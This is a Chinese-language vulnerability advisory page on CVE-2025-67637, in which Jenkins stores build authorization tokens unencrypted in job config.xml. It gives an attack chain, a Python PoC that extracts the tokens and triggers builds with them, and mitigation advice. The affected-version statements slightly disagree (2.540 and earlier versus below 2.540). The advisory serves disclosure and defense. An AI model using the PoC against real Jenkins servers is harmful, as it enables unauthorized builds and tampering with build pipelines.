IPBUF安全漏洞报告
English
CVE-2025-67637 CVSS 4.3 中危

CVE-2025-67637 Jenkins构建授权令牌未加密存储漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-67637
漏洞类型
敏感信息存储不当
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins

相关标签

敏感信息存储信息泄露JenkinsCVE-2025-67637构建授权令牌配置文件安全权限绕过

漏洞概述

CVE-2025-67637是Jenkins中一个中危安全漏洞,存在于Jenkins 2.540及之前版本,以及LTS 2.528.2及之前版本。该漏洞的核心问题是Jenkins将构建授权令牌(Build Authorization Tokens)以明文形式存储在job config.xml配置文件中,未经任何加密处理。这种不安全的存储方式导致敏感凭证面临严重的信息泄露风险。攻击者如果获得Jenkins系统的Item/Extended Read权限,或者能够直接访问Jenkins控制器的文件系统,就可以直接读取config.xml文件并获取这些未加密的授权令牌。一旦攻击者获取了这些令牌,他们就可以利用这些凭证执行构建操作,可能导致未授权访问敏感资源、篡改构建流程、或在构建过程中注入恶意代码等严重后果。该漏洞的CVSS评分为4.3,属于中等严重程度,主要影响机密性,对完整性和可用性无影响。

技术细节

该漏洞源于Jenkins在存储构建授权令牌时的加密机制缺失。在Jenkins的架构中,每个Job的配置文件(config.xml)存储了Job的各种设置,包括构建授权令牌。当用户配置了构建授权令牌以支持远程触发构建时,这些敏感凭证被直接写入XML配置文件而未进行任何加密处理。config.xml文件默认存储在Jenkins主目录的jobs/[job-name]/config.xml路径下。攻击者利用该漏洞的方式主要有两种路径:一是通过Jenkins的Web界面,利用Item/Extended Read权限浏览并读取job配置信息;二是直接访问Jenkins控制器文件系统,读取config.xml文件获取令牌。获取令牌后,攻击者可以使用REST API或CLI工具(如Jenkins CLI)携带该令牌触发构建操作,从而绕过正常的认证和授权检查。由于令牌以明文存储,任何能够读取配置文件的人都能直接使用这些凭证,这使得攻击变得简单直接。

攻击链分析

STEP 1
步骤1
攻击者获取Jenkins系统的Item/Extended Read权限或文件系统访问权限
STEP 2
步骤2
攻击者访问目标Job的config.xml文件(路径:/jenkins/home/jobs/[job-name]/config.xml)
STEP 3
步骤3
攻击者解析XML内容,查找<authorizationToken>标签提取明文存储的构建授权令牌
STEP 4
步骤4
攻击者使用提取的令牌通过Jenkins API或CLI触发构建操作
STEP 5
步骤5
攻击者利用构建权限访问敏感资源、篡改构建流程或注入恶意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67637 PoC - Jenkins Build Authorization Token Extraction # This PoC demonstrates how to extract unencrypted build authorization tokens from Jenkins config.xml import requests from xml.etree import ElementTree as ET import sys def extract_jenkins_tokens(jenkins_url, job_name, username=None): """ Extract build authorization tokens from Jenkins job config.xml """ # Method 1: Via Jenkins Web Interface with Item/Extended Read permission config_url = f"{jenkins_url}/job/{job_name}/config.xml" headers = { 'Accept': 'application/xml' } if username: # Authenticate with username if required response = requests.get(config_url, headers=headers, auth=(username, '')) else: response = requests.get(config_url, headers=headers) if response.status_code == 200: # Parse XML to find authorization tokens root = ET.fromstring(response.content) # Jenkins stores tokens in <authorizationToken> tag tokens = [] for token in root.iter('authorizationToken'): if token.text: tokens.append(token.text) return tokens else: print(f"[-] Failed to access config.xml: HTTP {response.status_code}") return [] def trigger_build_with_token(jenkins_url, job_name, token): """ Trigger Jenkins build using extracted authorization token """ build_url = f"{jenkins_url}/job/{job_name}/build" params = { 'token': token } response = requests.post(build_url, params=params) if response.status_code in [200, 201, 302]: print(f"[+] Build triggered successfully with token") else: print(f"[-] Build trigger failed: HTTP {response.status_code}") # Example usage if __name__ == "__main__": jenkins_url = "http://jenkins-server:8080" job_name = "example-job" print(f"[*] Extracting tokens from {jenkins_url}/job/{job_name}/config.xml") tokens = extract_jenkins_tokens(jenkins_url, job_name) if tokens: print(f"[+] Found {len(tokens)} authorization token(s):") for i, token in enumerate(tokens, 1): print(f" Token {i}: {token}") # Attempt to trigger build trigger_build_with_token(jenkins_url, job_name, token) else: print("[-] No authorization tokens found")

影响范围

Jenkins < 2.540
Jenkins LTS < 2.528.2

防御指南

临时缓解措施
在等待官方补丁期间,应立即采取以下缓解措施:首先,审查并限制Jenkins用户权限,确保只有绝对必要的人员拥有Item/Extended Read权限;其次,对Jenkins主目录实施严格的文件系统权限控制,限制非管理员用户访问jobs目录;同时,审计现有构建授权令牌的使用情况,考虑暂时禁用不必要的令牌认证;最后,启用Jenkins安全审计日志,监控对配置文件的异常访问行为。建议在可行的情况下尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表